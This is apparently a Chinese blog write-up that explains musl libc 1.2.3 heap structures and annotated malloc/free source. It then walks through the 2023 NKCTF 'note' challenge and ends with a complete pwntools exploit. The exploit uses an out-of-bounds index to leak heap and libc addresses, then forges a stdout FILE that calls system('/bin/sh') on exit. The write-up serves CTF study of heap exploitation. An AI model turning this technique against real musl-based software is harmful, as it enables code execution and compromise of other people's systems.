前言#
musl是一个轻量型的c标准库 与以往我们一直接触的glibc相比 其只需要一个libc.so文件

并且其源代码远远小于glibc 在近几年的ctf比赛中 偶尔会出现基于musl的堆题 musl的堆题和glibc的堆题可谓是牛马不相干 所以本文将详细介绍
所采取的libc.so版本为1.2.3
1.1.x与1.2.x版本有比较大的改动 需要注意一下

调试环境安装#
pwndbg就不需要我说明了 但是由于musl和glibc的结构体索引不同 所以常规的heap和bin指令并不能使用
xf1les师傅有编写一款gdb插件 可以供我们调试musl堆
git clone https://github.com/xf1les/muslheap.gitecho "source /path/to/muslheap.py" >> ~/.gdbinitmusl源码可以在下面的地址查找下载 并且通过以下指令编译
https://musl.libc.org/releases/sudo dpkg -i musl_1.2.2-1_amd64.deb源码分析#
在musl中 有三级结构来管理堆 从小到大为 chunk group meta
先来看chunk的构成
struct chunk{ char prev_user_data[]; uint8_t idx; //低5bit为idx第几个chunk uint16_t offset; //与第一个chunk起始地址的偏移,实际地址偏移为offset * UNIT,详细请看get_meta源码中得到group地址的而过程! char data[];};
就用这三个chunk来说明吧 第一个chunk和后面两个chunk都不一样 其首地址存放了一个堆地址 这是因为其上面是group结构 所以和后面的chunk不同
接着蓝框部分就是idx 而红框部分则是offset 这里可以看出UNIT实际上是0x10
#define UNIT 16#define IB 4struct group { struct meta *meta; unsigned char active_idx:5; char pad[UNIT - sizeof(struct meta *) - 1];//padding=0x10B unsigned char storage[];// chunks};接着是group结构 同一类大小的chunk都会被分配到同一个group中
并且group实际上就是这些chunk内存的总和

例如下面这两个chunk group头就是0xc20和0xc28这0x10大小 红框部分存放的是meta的地址 蓝框部分则是active_idx
表示当前group能存放多少chunk 例如此时是0xe 那么就相当于[0,e]也就是0xf个
接着来看一下meta结构体
struct meta { struct meta *prev, *next;//双向链表 struct group *mem;// 这里指向管理的group 地址 volatile int avail_mask, freed_mask; uintptr_t last_idx:5; uintptr_t freeable:1; uintptr_t sizeclass:6; uintptr_t maplen:8*sizeof(uintptr_t)-12;};
prev和next是双向链表指针 这里只有这一个meta 就指向其自身
mem则是存放该mata管理的group地址
avail_mask需要转化成二进制形式
32764 = 1100100111011001000表示不可分配 1表示可分配 顺序是从右往左
freed_mask同样需要转化为二进制形式 并且顺序同上 这里为0也就说明group中没有chunk被释放
last_idx表示最多可用的堆块数量 由于是[0,last_idx]所以这里还要加上1 实际上是15
free_able 代表当前meta是否可以被回收 1为可 0为不可
sizeclass则是表示由什么级别的group来管理这些chunk 你可以把其理解为原本glibc中不同size的链表
const uint16_t size_classes[] = { 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 12, 15, 18, 20, 25, 31, 36, 42, 50, 63, 72, 84, 102, 127, 146, 170, 204, 255, 292, 340, 409, 511, 584, 682, 818, 1023, 1169, 1364, 1637, 2047, 2340, 2730, 3276, 4095, 4680, 5460, 6552, 8191,};maplen >= 1表示这个meta里的group 是新mmap出来的,长度为多少
maplen =0 表示group 不是新mmap 出来的在size_classes里
也有一个专门管理各个meta的结构体
struct meta_area { uint64_t check; struct meta_area *next; int nslots; struct meta slots[];};meta_area的地址计算方式如下
meta_area_addr = meta & ( -4096 )

check是一串随机生成的数字 用来防止伪造
next是下一个meta_arena的地址 没有则为0
nslots为槽的数量
最后来看一个综合的大结构体 __malloc_context
struct malloc_context { uint64_t secret;// 和meta_area 头的check 是同一个值 就是校验值#ifndef PAGESIZE size_t pagesize;#endif int init_done;//是否初始化标记 unsigned mmap_counter;// 记录有多少mmap 的内存的数量 struct meta *free_meta_head;// 被free 的meta 头 这里meta 管理使用了队列和双向循环链表 struct meta *avail_meta;//指向可用meta数组 size_t avail_meta_count, avail_meta_area_count, meta_alloc_shift; struct meta_area *meta_area_head, *meta_area_tail; unsigned char *avail_meta_areas; struct meta *active[48];// 记录着可用的meta size_t u sage_by_class[48]; uint8_t unmap_seq[32], bounces[32]; uint8_t seq; uintptr_t brk;};
接下来的malloc和free源码分析我也是照着看雪的一篇文章学习的 讲的已经很详细了 文章链接贴在这里 我也会复制粘贴进来 方便我自己到时复现
https://bbs.kanxue.com/thread-269533-1.html
malloc
void *malloc(size_t n){ if (size_overflows(n)) return 0;// 最大申请空间限制 struct meta *g; uint32_t mask, first; int sc; int idx; int ctr;
if (n >= MMAP_THRESHOLD) {// size >= 阈值 会直接通过mmap 申请空间 size_t needed = n + IB + UNIT; //UNIT 0x10 IB 4 定义在meta.h 里 这里UNIT + IB 是一个基本头的大小 void *p = mmap(0, needed, PROT_READ|PROT_WRITE,MAP_PRIVATE|MAP_ANON, -1, 0);//新mmap group 空间 if (p==MAP_FAILED) return 0; wrlock(); step_seq(); g = alloc_meta(); if (!g) { // 如果申请meta 失败 会把刚刚mmap 出来的group 回收 unlock(); munmap(p, needed);// 回收group return 0; } g->mem = p;// mem = group 地址 g->mem->meta = g; //group 头部 指向meta (g 为 meta) g->last_idx = 0;//mmap的group last_idx默认值=0 g->freeable = 1; g->sizeclass = 63; // mmap 的申请的 sizeclass 都为63 g->maplen = (needed+4095)/4096; g->avail_mask = g->freed_mask = 0; ctx.mmap_counter++;// mmap 内存记载数量++ idx = 0; goto success; } //否则直接根据传入size,转换成size_classes的对应大小的 下标, sc = size_to_class(n);
rdlock(); g = ctx.active[sc]; // 从现有的active中取出对应sc 的 meta ,不同sc 对应不同的meta
/* 如果从ctx.active 中没找到对应的meta 会执行下面的if分支 这里!g<=> g==0 ,说明ctx.active[sc] 没有对应的meta */ if (!g && sc>=4 && sc<32 && sc!=6 && !(sc&1) && !ctx.usage_by_class[sc]) { size_t usage = ctx.usage_by_class[sc|1];// 如果在 ctx.active 没找到 就使用更大size group 的meta // if a new group may be allocated, count it toward // usage in deciding if we can use coarse class. if (!ctx.active[sc|1] || (!ctx.active[sc|1]->avail_mask && !ctx.active[sc|1]->freed_mask)) usage += 3; if (usage <= 12) sc |= 1; g = ctx.active[sc]; }
for (;;) { mask = g ? g->avail_mask : 0; first = mask&-mask; if (!first) break; if (RDLOCK_IS_EXCLUSIVE || !MT) g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) continue; idx = a_ctz_32(first); goto success; } upgradelock();
idx = alloc_slot(sc, n); /* 如果当前group 不满足就会来到这里: alloc_slot 从group 中取出对应大小chunk 的idx 这里先从对应sc 的ctx.active[sc] 中找对应的meta的group 有无空闲chunk可以使用 再从队列中其他meta的group 中找 如果队列中其他meta的group 有可利用的chunk,就使用 如果没有就重新分配一个新的group */ if (idx < 0) { unlock(); return 0; } g = ctx.active[sc];// 取出 sc 对应active meta
success: ctr = ctx.mmap_counter; unlock(); return enframe(g, idx, n, ctr);// 从对应meta 中的group 取出 第idx号chunk n = size}chunk分配的主要逻辑是下面这个for循环
for (;;) { mask = g ? g->avail_mask : 0; //先检查g所指meta是否存在,若存在mask = g->avail_mask first = mask&-mask; //这里只有mask=0时,first才会为0 if (!first) break; //mask为0,first=0,无可用空闲chunk,跳出循环 if (RDLOCK_IS_EXCLUSIVE || !MT)//如果是排它锁, 那么下面保证成功 g->avail_mask = mask-first; else if (a_cas(&g->avail_mask, mask, mask-first)!=mask) //成功找到并设置avail_mask之后,continue 后设置idx,然后跳出 continue; idx = a_ctz_32(first); goto success;} upgradelock();
idx = alloc_slot(sc, n);跟进一下索引idx的alloc_slot函数
static int alloc_slot(int sc, size_t req){ // 尝试从限制active 中找到合适可用的 uint32_t first = try_avail(&ctx.active[sc]); if (first) return a_ctz_32(first);
// 如果没找到 重新创造一个meta,然后重新分配一个size大小对应sc的group,给这个新分配的meta struct meta *g = alloc_group(sc, req); if (!g) return -1;
g->avail_mask--; queue(&ctx.active[sc], g); //把新meta 加入队列 return 0;}跟进一下try_avail函数
static uint32_t try_avail(struct meta **pm){ struct meta *m = *pm; uint32_t first; if (!m) return 0; uint32_t mask = m->avail_mask; if (!mask)//mask = m->avail_mask (!mask) 表示没有可用的chunk了 { if (!m->freed_mask) // if (!m->freed_mask) <=> 没有已经释放的chunk { /* 进入这个分支的条件:既没有可用的chunk,也没有被释放还未回收的chunk,即chunk都被使用,且都没被释放 */ dequeue(pm, m); // freed_mask==avail_mask=0, group 空间已满 让对应的meta 出队 m = *pm; if (!m) return 0; } /* 这里else表示的是:无可用空闲chunk,但是有已经释放的chunk !!! free释放的chunk 不能马上被复用的 !!! */ else { /* 进入这个分支的条件:没有可用的chunk,有被释放还未回收的chunk。 有点好奇这里,如果达成这个条件,然后利用指针互写,修改m->next 伪造的meta,是不是就可以制造fake meta 入队的假象 若meta链表中没有,一般meta 的next和prev 都是指向自己 */ m = m->next; *pm = m; }
mask = m->freed_mask; // 如果这个meta 的group 只含有一个chunk ,且被释放就跳过, // 或者 这个meta 的group 根本不能被释放 如mmap 的 group last_idx = 0 freeable=1 if (mask == (2u<<m->last_idx)-1 && m->freeable) { m = m->next; *pm = m; mask = m->freed_mask; }
// activate more slots in a not-fully-active group // if needed, but only as a last resort. prefer using // any other group with free slots. this avoids // touching & dirtying as-yet-unused pages. if (!(mask & ((2u<<m->mem->active_idx)-1))) { if (m->next != m) { // 如果这个meta 后还有meta 就切换到 下一个meta m = m->next; *pm = m; } else { int cnt = m->mem->active_idx + 2; int size = size_classes[m->sizeclass]*UNIT; int span = UNIT + size*cnt; // activate up to next 4k boundary while ((span^(span+size-1)) < 4096) // 页对齐 { cnt++; span += size; } if (cnt > m->last_idx+1) cnt = m->last_idx+1; m->mem->active_idx = cnt-1; } } mask = activate_group(m);// 这里是给 m的 avail_mask 打上标记 assert(mask); decay_bounces(m-> sizeclass); } first = mask&-mask; // 若 mask%2==0 则first =结果是能整除这个偶数的最大的2的幂 若 mask%2==1 则first永远为1 m->avail_mask = mask-first; return first;}上述源码可以总结为下列流程
一、判断是否超过size 阈值
先检查 申请的chunk的 needed size 是否超过最大申请限制检查申请的needed 是否超过需要mmap 的分配的阈值 超过就用mmap 分配一个group 来给chunk使用若是mmap 则设置各种标记二、分配chunk
若申请的chunk 没超过阈值 就从active 队列找管理对应size大小的meta关于找对应size的meta 这里有两种情况:如果active 对应size的meta 位置上为空,没找到那么尝试先找size更大的meta
如果active 对应size的meta位置上有对应的meta,尝试从这个meta中的group找到可用的chunk(这里malloc 那个循环:for (;;),
这里不清楚建议看malloc源码分析那里)
如果通过循环里,通过meta->avail_mask 判断当前group 中是否有空闲chunk有,就直接修改meta->avail_mask,然后利用enframe(g, idx, n, ctr);// 从对应meta 中的group 取出 第idx号chunk分配无,break 跳出循环跳出循环后执行idx = alloc_slot(sc, n); alloc_slot有三种分配方式使用group中被free的chunk从队列中其他meta的group 中找如果都不行就重新分配一个新的group 对应一个新的metaenframe(g, idx, n, ctr) 取出 对应meta 中对应idx 的chunk和glibc不同的是 musl中chunk有三种状态

从上面的源码也可以看出 是优先查找空闲的chunk 其次才是被释放的chunk
所以被释放的chunk不会立刻回收利用
接下来看一下free函数的源码
void free(void *p){ if (!p) return;
struct meta *g = get_meta(p);// 通过chunk p 用get_meta得到对应的meta int idx = get_slot_index(p);// 得到对应chunk的 idx size_t stride = get_stride(g); // 得到sizeclasses 中对应chunk类型的size
unsigned char *start = g->mem->storage + stride*idx; unsigned char *end = start + stride - IB; //*start = g->mem->storage(得到group中第一个chunk地址) + stride*idx(加上对应chunk偏移); // start 就为对应p(chunk)的起始地址 // end 对应结束地址
get_nominal_size(p, end);//算出真实大小 uint32_t self = 1u<<idx, all = (2u<<g->last_idx)-1;//设置bitmap 标志 ((unsigned char *)p)[-3] = 255; *(uint16_t *)((char *)p-2) = 0; if (((uintptr_t)(start-1) ^ (uintptr_t)end) >= 2*PGSZ && g->last_idx) { unsigned char *base = start + (-(uintptr_t)start & (PGSZ-1)); size_t len = (end-base) & -PGSZ; if (len) madvise(base, len, MADV_FREE); }
// atomic free without locking if this is neither first or last slot for (;;) { uint32_t freed = g->freed_mask; uint32_t avail = g->avail_mask; uint32_t mask = freed | avail; // 将释放的chunk 和 现在可用的 chunk 加起来 assert(!(mask&self)); if (!freed || mask+self==all) break; //!freed 没有被释放的chunk,mask+self==all说明释放了当前chunk所有chunk 都将被回收 // 此group 会被弹出队列 if (!MT) g->freed_mask = freed+self;// 设置free_mask 表示chunk 被释放 else if (a_cas(&g->freed_mask, freed, freed+self)!=freed) continue; return; }
wrlock(); struct mapinfo mi = nontrivial_free(g, idx);// 含有meta 操作 ,内有unlink 是漏洞利用的关键 unlock(); if (mi.len) munmap(mi.base, mi.len);}通过get_meta(p)得到meta (get_meta 是通过chunk 对应的offset 索引到对应的group 再索引到meta) 下面会详细介绍get_meta通过get_slot_index(p)得到对应chunk的 idx -> 通过get_nominal_size(p, end) 算出真实大小重置idx 和 offset idx 被置为0xff 标记chunk修改freed_mask 标记chunk被释放最后调用nontrivial_free 完成关于meta一些剩余操作 (注意进入nontrivial_free 是在for循环外 还未设置)释放chunk的时候,先只会修改freed_mask,不会修改avail_mask,说明chunk 在释放后,不会立即被复用注意进入nontrivial_free 是在for循环外 还未设置freed_mask 跳出循环的条件是 if (!freed || mask+self==all) break;free 中chunk 的起始位置可以通过 chunk的idx 定位static inline struct meta *get_meta(const unsigned char *p){ assert(!((uintptr_t)p & 15)); int offset = *(const uint16_t *)(p - 2);// 得到chunk offset int index = p[-3] & 31;;// 得到chunk idx if (p[-4]) { assert(!offset); offset = *(uint32_t *)(p - 8); assert(offset > 0xffff); } const struct group *base = (const void *)(p - UNIT*offset - UNIT);// 通过offset 和chunk 地址计算出group地址 const struct meta *meta = base->meta;// 从group 得到 meta 地址 assert(meta->mem == base);// 检查meta 是否指向对应的group assert(index <= meta->last_idx);// 检查chunk idx 是否超过 meta 最大chunk 容量 assert(!(meta->avail_mask & (1u<<index))); assert(!(meta->freed_mask & (1u<<index))); const struct meta_area *area = (void *)((uintptr_t)meta & -4096);// 得到meta_area 地址 assert(area->check == ctx.secret);// 检查 check 校验值 if (meta->sizeclass < 48) { // 如果属于 sizeclasses 管理的chunk 大小 assert(offset >= size_classes[meta->sizeclass]*index); assert(offset < size_classes[meta->sizeclass]*(index+1)); } else { assert(meta->sizeclass == 63); } if (meta->maplen) { assert(offset <= meta->maplen*4096UL/UNIT - 1); } return (struct meta *)meta;}static struct mapinfo nontrivial_free(struct meta *g, int i)// i = idx{ uint32_t self = 1u<<i; int sc = g->sizeclass; uint32_t mask = g->freed_mask | g->avail_mask;//mask=已经被free的chunk +可使用的chunk if (mask+self == (2u<<g->last_idx)-1 && okay_to_free(g)) { /* 如果 mask+self == (2u<<g->last_idx)-1 代表此meta中group里的chunk 都被释放 或者 都被用了 (2u<<g->last_idx)-1 计算出的值化成二进制,其中每位含义类似于bitmap,如果每位为1表每位要不是被free 不然就是被 okay_to_free 检测是否可以被释放
*/ if (g->next) { // 如果队列中 有下一个meta assert(sc < 48);// 检测 sc 是不是mmap 分配的 // 检测当前meta g 和 队列里的active[sc] meta 是否一样,一样则activate_new赋值为1 int activate_new = (ctx.active[sc]==g); dequeue(&ctx.active[sc], g);// 当前meta 出队
// 在出队操作后 ,ctx.active[sc]==meta ->next 是指的刚刚出队meta 的下一个meta if (activate_new && ctx.active[sc]) activate_group(ctx.active[sc]);//如果有下一个meta 直接激活 然后修改avail_mask 标志位 } return free_group(g); } else if (!mask) {// mask==0 group chunk 空间已被完全使用 assert(sc < 48); // might still be active if there were no allocations // after last available slot was taken. if (ctx.active[sc] != g) {// 如果 g 未被加入 队列ctx.ative[sc] queue(&ctx.active[sc], g);// 把g 加入队列 } } a_or(&g->freed_mask, self);// 修改对应 的freed_mask 标志 ,表示着对应的chunk 已被释放 return (struct mapinfo){ 0 };}nontrivial_free函数中调用了一个关键的函数 dequeue
static inline void dequeue(struct meta **phead, struct meta *m){ if (m->next != m) { m->prev->next = m->next; // 这里存在指针互写 在 prev 所指地址上 写入next 指针 m->next->prev = m->prev; // 在next 所指地址上 写入prev 指针 if (*phead == m) *phead = m->next;// 队列头如果为m 那就更新为m->next } else { *phead = 0; } m->prev = m->next = 0; // 清理m(meta)的头尾指针}其原本的作用是prev和next指针互写 用于一个meta出队时
meta什么时候会出队 当其所有的chunk都被释放或者都处于空闲状态 就会出队
2023NKCTF note#
说那么多也无聊死了 直接上题目! 先来一题简单的


代码太长了就不放了 简单介绍一下 给了四个函数
add 可以申请任意大小的chunk
edit 同时可以堆溢出
show 可以打印出chunk的地址
delete函数 置零了指针 不存在UAF
但是其对于index并没有检测 所以这个index实际上可以为任意数 我们可以对ptr数组附近的区域进行任意写
不过 首要的任务还是泄露libc基址 来看看musl的堆题要如何泄露libc基址
我们先申请一个0xc大小的chunk

然后再申请一个0x1c大小的chunk

你会发现第二个chunk竟然分配到的是libc地址上
这是因为在malloc第二个chunk的时候 如果没有找到合适的空闲chunk或者是被释放的chunk 就会分配一个新的group
struct meta *g = alloc_group(sc, req);而分配出来的这个group就位于libc地址上
相关的可以自己跟着源码动调看看(虽然我自己调了也还是不知道为啥有的分配到了堆地址 有的分配到了libc地址)

接下来再看题目 这里对于我们输入的v5没有进行任何的限制 也就是说我们可以输出ptr数组后的地址其指向的内容

此时chunk0和ptr数组相较来说比较接近 所以只要我们将chunk0的内容编辑成chunk1的meta chunk1的meta中有存储着chunk1的地址 这样就能泄露出libc地址了

那么首先就是要泄露出堆地址
计算一下chunk0和ptr数组的偏移 随后泄露出chunk0的meta地址 计算一下和chunk1的meta的偏移
随后将chunk1的meta地址存放到chunk0上
show泄露出libc地址
add(0,0xc,b'aaaa')add(1,0x1c,b'aaaa')show(0x570)heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x2e8success("heap_addr :"+hex(heap_addr))chunk1_addr = heap_addr+0x320edit(0,8,p64(chunk1_addr))show(0x572)libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7fccb8f39d10-0x7fccb8e9e000)success("libc_addr :"+hex(libc_addr))debug()接下来难点在于说如何获取shell 在glibc中最常见的做法是覆盖hook函数 但是musl可没有这些东西 所以我们只能采用伪造io_file结构体
我们来看一下exit函数的调用链
_Noreturn void exit(int code){ __funcs_on_exit(); __libc_exit_fini(); __stdio_exit(); _Exit(code);}跟进一下__stdio_exit函数
void __stdio_exit(void){ FILE *f; for (f=*__ofl_lock(); f; f=f->next) close_file(f); close_file(__stdin_used); close_file(__stdout_used); close_file(__stderr_used);}可以看到在最后利用close_file操作了三个file结构体
我们选择利用__stdout_used 先在gdb中查看一下其构成

static void close_file(FILE *f){ if (!f) return; FFINALLOCK(f); if (f->wpos != f->wbase) f->write(f, 0, 0); if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);}当f->wpos != f->wbase成立时 就会调用f->write 并且将f起始的作为rdi寄存器
也就是说我们需要伪造_stout_file 并且有四个地方需要注意 也就是构造成下面这个样子
fake_stdout_file = '/bin/sh\x00'.ljust(0x38,'\x00') + p64(1) + p64(0) + p64(system)并且把可控地址写入到__stdout_used中 这里的可控地址当然是一个chunk了
不过经过我自己实验 musl中堆的分配好像和glibc不一样 所以这里的chunk必须和chunk1一样是在libc地址中的 这样才能保证偏移正确
完整exp:
from pwn import*from ctypes import *from LibcSearcher import*io = process("./pwn")#io = remote("ctf.comentropy.cn",8301)context.log_level = "debug"context.terminal = ['tmux','splitw','-h']#libc = ELF("/home/chen/glibc-all-in-one/libs/2.31-0ubuntu9.9_amd64/libc-2.31.so")libc = ELF("./libc.so")#libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')#libc = ELF("./libc-2.32.so")#libc = ELF("./locate")# context.arch = "i386"context.arch = "amd64"elf = ELF("./pwn")def debug(): gdb.attach(io) pause()
def add(index,size,content): io.recvuntil("your choice: ") io.sendline(b'1') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content: ") io.send(content)
def edit(index,size,content): io.recvuntil("your choice: ") io.sendline(b'2') io.recvuntil("Index: ") io.sendline(str(index)) io.recvuntil("Size: ") io.sendline(str(size)) io.recvuntil("Content: ") io.send(content)
def delete(index): io.recvuntil("your choice: ") io.sendline(b'3') io.recvuntil("Index: ") io.sendline(str(index))
def show(index): io.recvuntil("your choice: ") io.sendline(b'4') io.recvuntil("Index: ") io.sendline(str(index))
add(0,0xc,b'aaaa')add(1,0x1c,b'aaaa')show(0x570)heap_addr = u64(io.recvuntil("\x0a",drop = True)[-6:].ljust(8,b'\x00'))-0x2e8success("heap_addr :"+hex(heap_addr))chunk1_addr = heap_addr+0x320edit(0,8,p64(chunk1_addr))show(0x572)libc_addr = u64(io.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-(0x7fccb8f39d10-0x7fccb8e9e000)success("libc_addr :"+hex(libc_addr))__stdout_used = libc_addr + libc.sym['__stdout_used']system_addr = libc_addr + libc.sym['system']fake_file = b'/bin/sh\x00'.ljust(0x38,b'\x00')+p64(1)+p64(0)+p64(system_addr)add(2,0x500,fake_file)edit(0,8,p64(__stdout_used))fakechunk_addr = libc_addr + (0x7f081beb5020-0x7f081beb6000)success("fakechunk_addr :"+hex(fakechunk_addr))edit(0x572,8,p64(fakechunk_addr))io.recvuntil("your choice: ")io.sendline(b'5')io.interactive()